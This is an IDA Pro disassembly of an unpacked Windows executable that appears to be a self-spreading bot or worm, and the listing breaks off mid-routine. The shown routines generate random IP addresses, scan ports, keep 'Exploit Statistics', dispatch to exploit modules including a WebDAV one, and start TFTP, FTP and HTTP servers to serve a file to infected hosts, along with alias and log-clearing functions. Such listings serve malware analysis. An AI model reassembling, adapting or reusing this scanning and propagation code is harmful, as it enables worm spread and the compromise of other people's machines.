; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : C2450BFB2E868CC4FA72ECFD51377CFD ; File Name : u:\work\c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0001D8C4 ( 121028.) ; Section size in file : 0001D8C4 ( 121028.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_4078FA+4834p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset aScanExploitSta ; "[SCAN]: Exploit Statistics:" push eax xor ebx, ebx call sub_412BB5 cmp dword_42A068, ebx pop ecx pop ecx mov edi, 200h jz short loc_40106E push esi mov esi, offset dword_42A070 loc_401033: ; CODE XREF: sub_401000+6Bj mov eax, [esi] push eax add ebx, eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_412BB5 push edi lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push eax call sub_412A80 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_401033 pop esi loc_40106E: ; CODE XREF: sub_401000+2Bj push dword_479BB0 call sub_40FD16 push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_412BB5 push edi lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push eax call sub_412A80 push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD lea eax, [ebp+var_200] push eax call sub_401C33 add esp, 38h pop edi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010CA proc near ; CODE XREF: sub_4078FA+4154p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 9 call sub_4110DA test eax, eax pop ecx jle short loc_401106 mov eax, [ebp+arg_C] push dword_42D700[eax*8] call dword_433520 push eax lea eax, [ebp+var_200] push offset aScanCurrentIpS ; "[SCAN]: Current IP: %s." push eax call sub_412BB5 add esp, 0Ch jmp short loc_401119 ; --------------------------------------------------------------------------- loc_401106: ; CODE XREF: sub_4010CA+13j lea eax, [ebp+var_200] push offset aScanScanNotAct ; "[SCAN]: Scan not active." push eax call sub_412BB5 pop ecx pop ecx loc_401119: ; CODE XREF: sub_4010CA+3Aj push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD lea eax, [ebp+var_200] push eax call sub_401C33 add esp, 18h leave retn sub_4010CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401141 proc near ; CODE XREF: sub_4018D1+52p var_204 = byte ptr -204h var_4 = byte ptr -4 arg_94 = byte ptr 9Ch arg_114 = byte ptr 11Ch arg_194 = dword ptr 19Ch arg_1B4 = dword ptr 1BCh arg_1BC = dword ptr 1C4h arg_1C0 = dword ptr 1C8h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_1B4] cmp eax, 0FFFFFFFFh jz locret_4014F1 imul eax, 3Ch push ebx xor ebx, ebx cmp dword_42A074[eax], ebx push esi jz loc_4013DF push 5 call sub_4110DA test eax, eax pop ecx jnz loc_4014EF mov eax, dword_42AE44 push edi push 104h mov edi, offset dword_42ED14 push edi push ebx mov dword_42EF24, eax mov dword_42EF20, ebx call ds:dword_41F010 push 103h push offset byte_42AED0 mov esi, offset dword_42EE18 push esi call sub_412C40 mov eax, [ebp+arg_194] add esp, 0Ch cmp [ebp+arg_114], bl mov dword_42ED10, eax mov eax, [ebp+arg_1BC] mov dword_42EFA8, eax push 7Fh jnz short loc_4011F4 lea eax, [ebp+arg_94] push eax push offset dword_42EF28 call sub_412C40 mov dword_42EFAC, 1 jmp short loc_40120B ; --------------------------------------------------------------------------- loc_4011F4: ; CODE XREF: sub_401141+94j lea eax, [ebp+arg_114] push eax push offset dword_42EF28 call sub_412C40 mov dword_42EFAC, ebx loc_40120B: ; CODE XREF: sub_401141+B1j add esp, 0Ch push esi push edi push dword_42EF24 lea eax, [ebp+var_204] push offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"... push eax call sub_412BB5 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_410EEA add esp, 20h mov dword_42EF1C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_42ED10 push offset sub_410A22 push ebx push ebx call ds:dword_41F00C mov ecx, dword_42EF1C imul ecx, 234h cmp eax, ebx mov dword_43434C[ecx], eax jnz loc_401327 call ds:dword_41F008 push eax lea eax, [ebp+var_204] push offset aTftpFailedToSt ; "[TFTP]: Failed to start server, error: "... push eax call sub_412BB5 add esp, 0Ch loc_40128A: ; CODE XREF: sub_401141+1EEj lea eax, [ebp+var_204] push eax call sub_401C33 pop ecx call ds:dword_41F004 xor edx, edx mov ecx, 0F82Fh div ecx push 104h mov edi, offset dword_42EA6C push edi push ebx mov dword_42EC78, ebx add edx, 400h mov dword_42EC7C, edx call ds:dword_41F010 push 103h push offset byte_42AED0 mov esi, offset dword_42EB70 push esi call sub_412C40 mov eax, [ebp+arg_194] add esp, 0Ch cmp [ebp+arg_114], bl mov dword_42EA68, eax mov eax, [ebp+arg_1BC] mov dword_42ED00, eax push 7Fh jnz short loc_401334 lea eax, [ebp+arg_94] push eax push offset dword_42EC80 call sub_412C40 mov dword_42ED04, 1 jmp short loc_40134B ; --------------------------------------------------------------------------- loc_40131F: ; CODE XREF: sub_401141+1ECj push 32h call ds:dword_41F000 loc_401327: ; CODE XREF: sub_401141+128j cmp dword_42EFB0, ebx jz short loc_40131F jmp loc_40128A ; --------------------------------------------------------------------------- loc_401334: ; CODE XREF: sub_401141+1BFj lea eax, [ebp+arg_114] push eax push offset dword_42EC80 call sub_412C40 mov dword_42ED04, ebx loc_40134B: ; CODE XREF: sub_401141+1DCj add esp, 0Ch push esi push edi push dword_42EC7C push dword_42EA68 call sub_406C33 pop ecx push eax lea eax, [ebp+var_204] push offset aFtpServerStart ; "[FTP]: Server started on: %s:%d, File: "... push eax call sub_412BB5 push ebx lea eax, [ebp+var_204] push 6 push eax call sub_410EEA add esp, 24h mov dword_42EC74, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_42EA68 push offset sub_402B1D push ebx push ebx call ds:dword_41F00C mov ecx, dword_42EC74 imul ecx, 234h cmp eax, ebx mov dword_43434C[ecx], eax pop edi jnz short loc_4013D2 call ds:dword_41F008 push eax push offset aFtpFailedToSta ; "[FTP]: Failed to start server, error: <"... jmp loc_4014D3 ; --------------------------------------------------------------------------- loc_4013CA: ; CODE XREF: sub_401141+297j push 32h call ds:dword_41F000 loc_4013D2: ; CODE XREF: sub_401141+276j cmp dword_42ED08, ebx jz short loc_4013CA jmp loc_4014E2 ; --------------------------------------------------------------------------- loc_4013DF: ; CODE XREF: sub_401141+25j cmp dword_42A078[eax], ebx jz loc_4014EF push 4 call sub_4110DA test eax, eax pop ecx jnz loc_4014EF push 104h mov esi, offset dword_42E944 push esi push ebx call ds:dword_41F010 push 5Ch push esi call sub_412C10 cmp eax, ebx pop ecx pop ecx jz short loc_40141D mov [eax], bl loc_40141D: ; CODE XREF: sub_401141+2D8j mov eax, dword_42AE48 mov dword_42EA48, eax lea eax, [ebp+arg_94] push eax push offset dword_42E6BC mov dword_42EA5C, ebx call sub_412BB5 mov eax, [ebp+arg_194] pop ecx pop ecx mov ecx, [ebp+arg_1BC] push esi push dword_42EA48 mov dword_42EA54, ecx mov ecx, [ebp+arg_1C0] push eax mov dword_42E6B8, eax mov dword_42EA58, ecx call sub_406C33 pop ecx push eax lea eax, [ebp+var_204] push offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"... push eax call sub_412BB5 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_410EEA add esp, 20h loc_401495: ; DATA XREF: .data:off_42BB98o ; .data:off_42C450o mov dword_42EA50, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_42E6B8 push offset sub_403E06 push ebx push ebx call ds:dword_41F00C mov ecx, dword_42EA50 imul ecx, 234h cmp eax, ebx mov dword_43434C[ecx], eax jnz short loc_4014FB call ds:dword_41F008 push eax push offset aHttpdFailedToS ; "[HTTPD]: Failed to start server, error:"... loc_4014D3: ; CODE XREF: sub_401141+284j lea eax, [ebp+var_204] push eax call sub_412BB5 add esp, 0Ch loc_4014E2: ; CODE XREF: sub_401141+299j ; sub_401141+3C2j lea eax, [ebp+var_204] push eax call sub_401C33 pop ecx loc_4014EF: ; CODE XREF: sub_401141+35j ; sub_401141+2A4j ... pop esi pop ebx locret_4014F1: ; CODE XREF: sub_401141+12j leave retn ; --------------------------------------------------------------------------- loc_4014F3: ; CODE XREF: sub_401141+3C0j push 32h call ds:dword_41F000 loc_4014FB: ; CODE XREF: sub_401141+384j cmp dword_42EA64, ebx jz short loc_4014F3 jmp short loc_4014E2 sub_401141 endp ; =============== S U B R O U T I N E ======================================= sub_401505 proc near ; CODE XREF: sub_40169B:loc_4016FDp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] lea esi, ds:42D700h[esi*8] push dword ptr [esi] call dword_433570 inc eax push eax call dword_4335C4 mov [esi], eax pop esi retn sub_401505 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401525 proc near ; CODE XREF: sub_40169B+5Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_0] push edi or edi, 0FFFFFFFFh mov [ebp+var_4], edi mov [ebp+var_C], edi mov [ebp+var_8], edi mov [ebp+var_10], edi lea ecx, [eax+1] loc_401541: ; CODE XREF: sub_401525+21j mov dl, [eax] inc eax test dl, dl jnz short loc_401541 sub eax, ecx cmp eax, 0Fh jbe short loc_401556 xor eax, eax jmp loc_4015FB ; --------------------------------------------------------------------------- loc_401556: ; CODE XREF: sub_401525+28j push esi lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_412D93 add esp, 18h cmp [ebp+var_4], edi jnz short loc_4015A0 call sub_412D71 mov esi, 0FFh jmp short loc_40158D ; --------------------------------------------------------------------------- loc_401588: ; CODE XREF: sub_401525+79j call sub_412D71 loc_40158D: ; CODE XREF: sub_401525+61j cdq mov ecx, esi idiv ecx push edx mov [ebp+var_4], edx call sub_41013C test al, al pop ecx jnz short loc_401588 loc_4015A0: ; CODE XREF: sub_401525+55j cmp [ebp+var_C], edi mov esi, 100h jnz short loc_4015B7 call sub_412D71 cdq mov ecx, esi idiv ecx mov [ebp+var_C], edx loc_4015B7: ; CODE XREF: sub_401525+83j cmp [ebp+var_8], edi jnz short loc_4015C7 call sub_412D71 cdq idiv esi mov [ebp+var_8], edx loc_4015C7: ; CODE XREF: sub_401525+95j mov edx, [ebp+var_10] cmp edx, edi pop esi jnz short loc_4015DD call sub_412D71 cdq mov ecx, 0FEh idiv ecx inc edx loc_4015DD: ; CODE XREF: sub_401525+A8j mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] shl edx, 8 add edx, [ebp+var_8] shl edx, 8 add edx, [ebp+var_C] shl edx, 8 add eax, edx mov dword_42D700[ecx*8], eax loc_4015FB: ; CODE XREF: sub_401525+2Cj pop edi leave retn sub_401525 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4015FE proc near ; CODE XREF: sub_40169B+A9p ; sub_4028A8+2Cp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi xor edi, edi xor ebx, ebx push ebx inc edi push edi push 2 mov [ebp+var_4], edi call dword_4334A0 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_401627 xor eax, eax jmp short loc_401696 ; --------------------------------------------------------------------------- loc_401627: ; CODE XREF: sub_4015FE+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4335EC mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_433444 push 10h lea eax, [ebp+var_1C] push eax push esi call dword_433458 mov eax, [ebp+arg_8] mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax push ebx lea eax, [ebp+var_120] push eax push ebx push ebx mov [ebp+var_8], ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_433544 push esi mov edi, eax call dword_4335AC xor eax, eax cmp edi, ebx setnle al loc_401696: ; CODE XREF: sub_4015FE+27j pop edi pop esi pop ebx leave retn sub_4015FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40169B proc near ; DATA XREF: sub_4018D1+144o var_3B0 = dword ptr -3B0h var_394 = dword ptr -394h var_390 = byte ptr -390h var_380 = byte ptr -380h var_300 = dword ptr -300h var_2FC = byte ptr -2FCh var_27C = byte ptr -27Ch var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_254 = byte ptr -254h var_1D4 = byte ptr -1D4h var_1C4 = byte ptr -1C4h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push ebx push esi push edi push 74h mov esi, eax pop ecx lea edi, [ebp+var_1D4] rep movsd mov edi, [ebp+var_2C] mov dword ptr [eax+1CCh], 1 mov eax, [ebp+var_28] mov [ebp+var_4], edi mov [ebp+arg_0], eax call ds:dword_41F004 push eax call sub_412D64 mov ebx, edi pop ecx imul ebx, 234h jmp loc_4018AD ; --------------------------------------------------------------------------- loc_4016E7: ; CODE XREF: sub_40169B+220j cmp [ebp+var_10], 0 push eax jz short loc_4016FD lea eax, [ebp+var_1D4] push eax call sub_401525 pop ecx jmp short loc_401702 ; --------------------------------------------------------------------------- loc_4016FD: ; CODE XREF: sub_40169B+51j call sub_401505 loc_401702: ; CODE XREF: sub_40169B+60j pop ecx push [ebp+arg_0] mov esi, eax push dword_43433C[ebx] push [ebp+var_3C] push esi call dword_433520 push eax lea eax, [ebp+var_254] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call sub_412BB5 lea eax, [ebp+var_254] push eax lea eax, dword_434138[ebx] push eax call sub_412BB5 push [ebp+var_38] push [ebp+var_3C] push esi call sub_4015FE add esp, 2Ch cmp eax, 1 jnz loc_4018A2 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4017D6 push offset dword_42E6A0 call ds:dword_41F01C push [ebp+var_3C] push esi call dword_433520 push eax lea eax, [ebp+var_254] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push eax call sub_412BB5 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_4017B8 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_254] push eax lea eax, [ebp+var_C0] jnz short loc_4017AC lea eax, [ebp+var_140] loc_4017AC: ; CODE XREF: sub_40169B+109j push eax push [ebp+var_40] call sub_4045DD add esp, 14h loc_4017B8: ; CODE XREF: sub_40169B+EEj lea eax, [ebp+var_254] push eax call sub_401C33 mov [esp+3B0h+var_3B0], offset dword_42E6A0 call ds:dword_41F018 jmp loc_4018A2 ; --------------------------------------------------------------------------- loc_4017D6: ; CODE XREF: sub_40169B+BEj push esi call dword_433520 push eax lea eax, [ebp+var_390] push eax call sub_412BB5 mov eax, [ebp+var_20] imul eax, 3Ch add eax, offset aWebdav ; "webdav" push eax lea eax, [ebp+var_27C] push eax call sub_412BB5 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_40181A lea eax, [ebp+var_140] loc_40181A: ; CODE XREF: sub_40169B+177j push eax lea eax, [ebp+var_2FC] push eax call sub_412BB5 mov eax, [ebp+var_144] pop ecx mov [ebp+var_300], eax pop ecx xor eax, eax loc_401837: ; CODE XREF: sub_40169B+1ADj mov cl, [ebp+eax+var_1C4] mov [ebp+eax+var_380], cl inc eax test cl, cl jnz short loc_401837 mov eax, [ebp+var_40] mov [ebp+var_394], eax mov eax, [ebp+var_18] mov [ebp+var_260], eax mov eax, [ebp+var_14] mov [ebp+var_25C], eax mov eax, [ebp+var_3C] mov [ebp+var_270], eax mov eax, [ebp+var_20] mov [ebp+var_268], eax imul eax, 3Ch sub esp, 140h push 50h pop ecx mov [ebp+var_26C], edi lea esi, [ebp+var_394] mov edi, esp rep movsd call off_42A06C[eax] mov edi, [ebp+var_4] add esp, 140h loc_4018A2: ; CODE XREF: sub_40169B+B4j ; sub_40169B+136j push 7D0h call ds:dword_41F000 loc_4018AD: ; CODE XREF: sub_40169B+47j mov eax, dword_43433C[ebx] cmp dword_42D704[eax*8], 0 jnz loc_4016E7 push edi call sub_4111AE pop ecx push 0 call ds:dword_41F014 int 3 ; Trap to Debugger sub_40169B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_4018D1 proc near ; DATA XREF: sub_4078FA+3C68o ; sub_4078FA+5643o var_304 = dword ptr -304h var_250 = byte ptr -250h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_94 = dword ptr -94h var_90 = dword ptr -90h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 250h mov eax, [ebp+74h+arg_0] push ebx push esi push edi push 74h pop ecx mov esi, eax lea edi, [ebp+74h+var_250] rep movsd mov dword ptr [eax+1C8h], 1 lea eax, [ebp+74h+var_250] push eax call dword_433514 mov ecx, [ebp+74h+var_AC] sub esp, 1D0h mov dword_42D700[ecx*8], eax push 74h pop ecx lea esi, [ebp+74h+var_250] mov edi, esp rep movsd call sub_401141 xor ebx, ebx add esp, 1D0h cmp [ebp+74h+var_1C0], ebx jnz short loc_401943 mov eax, dword_432FF4 mov [ebp+74h+var_1C0], eax loc_401943: ; CODE XREF: sub_4018D1+65j push 9 call sub_4110DA xor edi, edi inc edi cmp eax, edi pop ecx jnz short loc_4019B3 mov esi, offset dword_42E6A0 push esi call ds:dword_41F024 push 80000400h push esi call ds:dword_41F020 test eax, eax jnz short loc_4019B3 lea eax, [ebp+74h+var_80] push offset aScanFailedToIn ; "[SCAN]: Failed to initialize critical s"... push eax call sub_412BB5 cmp [ebp+74h+var_90], ebx pop ecx pop ecx jnz short loc_40199D push ebx push [ebp+74h+var_94] lea eax, [ebp+74h+var_80] push eax lea eax, [ebp+74h+var_1BC] push eax push [ebp+74h+var_BC] call sub_4045DD add esp, 14h loc_40199D: ; CODE XREF: sub_4018D1+B0j lea eax, [ebp+74h+var_80] push eax call sub_401C33 pop ecx pop edi pop esi xor eax, eax pop ebx add ebp, 74h leave retn 4 ; --------------------------------------------------------------------------- loc_4019B3: ; CODE XREF: sub_4018D1+7Fj ; sub_4018D1+9Bj cmp [ebp+74h+var_A0], edi mov eax, [ebp+74h+var_AC] mov esi, ds:dword_41F000 mov dword_42D704[eax*8], edi jb loc_401A64 loc_4019CC: ; CODE XREF: sub_4018D1+18Dj push edi push [ebp+74h+var_AC] lea eax, [ebp+74h+var_250] push [ebp+74h+var_B8] mov [ebp+74h+var_A4], edi push eax lea eax, [ebp+74h+var_80] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax call sub_412BB5 push ebx lea eax, [ebp+74h+var_80] push 9 push eax call sub_410EEA mov ecx, [ebp+74h+var_AC] mov [ebp+74h+var_A8], eax imul eax, 234h add esp, 24h push ebx push ebx mov dword_43433C[eax], ecx lea eax, [ebp+74h+var_250] push eax push offset sub_40169B push ebx push ebx call ds:dword_41F00C mov ecx, [ebp+74h+var_A8] imul ecx, 234h cmp eax, ebx mov dword_43434C[ecx], eax jnz short loc_401A7B call ds:dword_41F008 push eax lea eax, [ebp+74h+var_80] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push eax call sub_412BB5 lea eax, [ebp+74h+var_80] push eax call sub_401C33 add esp, 10h loc_401A56: ; CODE XREF: sub_4018D1+1AFj push 1Eh call esi inc edi cmp edi, [ebp+74h+var_A0] jbe loc_4019CC loc_401A64: ; CODE XREF: sub_4018D1+F5j cmp [ebp+74h+var_B0], ebx jz short loc_401A89 mov eax, [ebp+74h+var_B0] imul eax, 0EA60h push eax call esi jmp short loc_401A96 ; --------------------------------------------------------------------------- loc_401A77: ; CODE XREF: sub_4018D1+1ADj push 1Eh call esi loc_401A7B: ; CODE XREF: sub_4018D1+162j cmp [ebp+74h+var_84], ebx jz short loc_401A77 jmp short loc_401A56 ; --------------------------------------------------------------------------- loc_401A82: ; CODE XREF: sub_4018D1+1C3j push 7D0h call esi loc_401A89: ; CODE XREF: sub_4018D1+196j mov eax, [ebp+74h+var_AC] cmp dword_42D704[eax*8], 1 jz short loc_401A82 loc_401A96: ; CODE XREF: sub_4018D1+1A4j push [ebp+74h+var_B0] mov eax, [ebp+74h+var_AC] push [ebp+74h+var_B8] mov eax, dword_42D700[eax*8] push eax call dword_433520 push eax lea eax, [ebp+74h+var_80] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call sub_412BB5 add esp, 14h cmp [ebp+74h+var_90], ebx jnz short loc_401ADE push ebx push [ebp+74h+var_94] lea eax, [ebp+74h+var_80] push eax lea eax, [ebp+74h+var_1BC] push eax push [ebp+74h+var_BC] call sub_4045DD add esp, 14h loc_401ADE: ; CODE XREF: sub_4018D1+1F1j lea eax, [ebp+74h+var_80] push eax call sub_401C33 mov eax, [ebp+74h+var_AC] mov dword_42D704[eax*8], ebx mov [esp+290h+var_304], 0BB8h call esi push 9 call sub_4110DA cmp eax, 1 pop ecx jnz short loc_401B12 push offset dword_42E6A0 call ds:dword_41F024 loc_401B12: ; CODE XREF: sub_4018D1+234j push [ebp+74h+var_AC] call sub_4111AE pop ecx push ebx call ds:dword_41F014 int 3 ; Trap to Debugger sub_4018D1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_401B23 proc near ; CODE XREF: sub_4078FA+32B1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi xor ebx, ebx mov edi, offset dword_479030 loc_401B2D: ; CODE XREF: sub_401B23+4Dj cmp byte ptr [edi], 0 jz short loc_401B74 mov esi, [esp+0Ch+arg_0] mov eax, edi loc_401B38: ; CODE XREF: sub_401B23+31j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_401B5A test cl, cl jz short loc_401B56 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_401B5A inc eax inc eax inc esi inc esi test cl, cl jnz short loc_401B38 loc_401B56: ; CODE XREF: sub_401B23+1Fj xor eax, eax jmp short loc_401B5F ; --------------------------------------------------------------------------- loc_401B5A: ; CODE XREF: sub_401B23+1Bj ; sub_401B23+29j sbb eax, eax sbb eax, 0FFFFFFFFh loc_401B5F: ; CODE XREF: sub_401B23+35j test eax, eax jz short loc_401B74 add edi, 0B8h inc ebx cmp edi, offset dword_479BB0 jl short loc_401B2D jmp short loc_401BB5 ; --------------------------------------------------------------------------- loc_401B74: ; CODE XREF: sub_401B23+Dj ; sub_401B23+3Ej mov esi, ebx imul esi, 0B8h push 2Eh pop ecx push 17h push [esp+10h+arg_0] lea edx, dword_479030[esi] xor eax, eax mov edi, edx push edx rep stosd call sub_412C40 push 9Fh push [esp+1Ch+arg_4] lea eax, dword_479048[esi] push eax call sub_412C40 add esp, 18h inc dword_42B280 loc_401BB5: ; CODE XREF: sub_401B23+4Fj pop edi pop esi mov eax, ebx pop ebx retn sub_401B23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401BBB proc near ; CODE XREF: sub_4078FA+461Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aAliasList ; "-[Alias List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 14h xor edi, edi mov esi, offset dword_479030 loc_401BE5: ; CODE XREF: sub_401BBB+72j cmp byte ptr [esi], 0 jz short loc_401C20 lea eax, [esi+18h] push eax push esi push edi push offset aD_SS ; "%d. %s = %s" lea eax, [ebp+var_200] push 200h push eax call sub_412E0D push 1 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 2Ch loc_401C20: ; CODE XREF: sub_401BBB+2Dj add esi, 0B8h inc edi cmp esi, offset dword_479BB0 jl short loc_401BE5 pop edi pop esi leave retn sub_401BBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401C33 proc near ; CODE XREF: sub_401000+BEp ; sub_4010CA+6Dp ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea eax, [ebp+var_10] push eax call ds:dword_41F028 mov ebx, offset dword_432FB8 mov edi, 80h mov esi, offset dword_42EFB8 loc_401C55: ; CODE XREF: sub_401C33+3Dj cmp byte ptr [ebx], 0 jz short loc_401C6C push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_412C40 add esp, 0Ch loc_401C6C: ; CODE XREF: sub_401C33+25j sub ebx, edi cmp ebx, esi jge short loc_401C55 push [ebp+arg_0] movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_412E0D add esp, 28h pop edi pop esi pop ebx leave retn sub_401C33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401CA7 proc near ; CODE XREF: sub_40779B+A4p ; sub_4078FA:loc_40A8FBp ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax push [ebp+arg_0] lea eax, [ebp+var_80] push 80h push eax call sub_412E64 lea eax, [ebp+var_80] push eax call sub_401C33 add esp, 14h leave retn sub_401CA7 endp ; =============== S U B R O U T I N E ======================================= sub_401CD3 proc near ; CODE XREF: sub_4078FA+4512p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_42EFB8 xor ecx, ecx loc_401CDA: ; CODE XREF: sub_401CD3+13j mov [eax], cl add eax, 80h cmp eax, offset dword_432FB8 jl short loc_401CDA cmp [esp+arg_C], ecx push esi mov esi, offset aLogsCleared_ ; "[LOGS]: Cleared." jnz short loc_401D0A push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_4045DD add esp, 14h loc_401D0A: ; CODE XREF: sub_401CD3+1Fj push esi call sub_401C33 pop ecx pop esi retn sub_401CD3 endp ; =============== S U B R O U T I N E ======================================= sub_401D13 proc near ; CODE XREF: .text:0041296Dp arg_0 = dword ptr 4 push esi mov esi, offset dword_42EFB8 loc_401D19: ; CODE XREF: sub_401D13+27j cmp byte ptr [esi], 0 jz short loc_401D2E push [esp+4+arg_0] push esi call sub_405AD5 test eax, eax pop ecx pop ecx jnz short loc_401D40 loc_401D2E: ; CODE 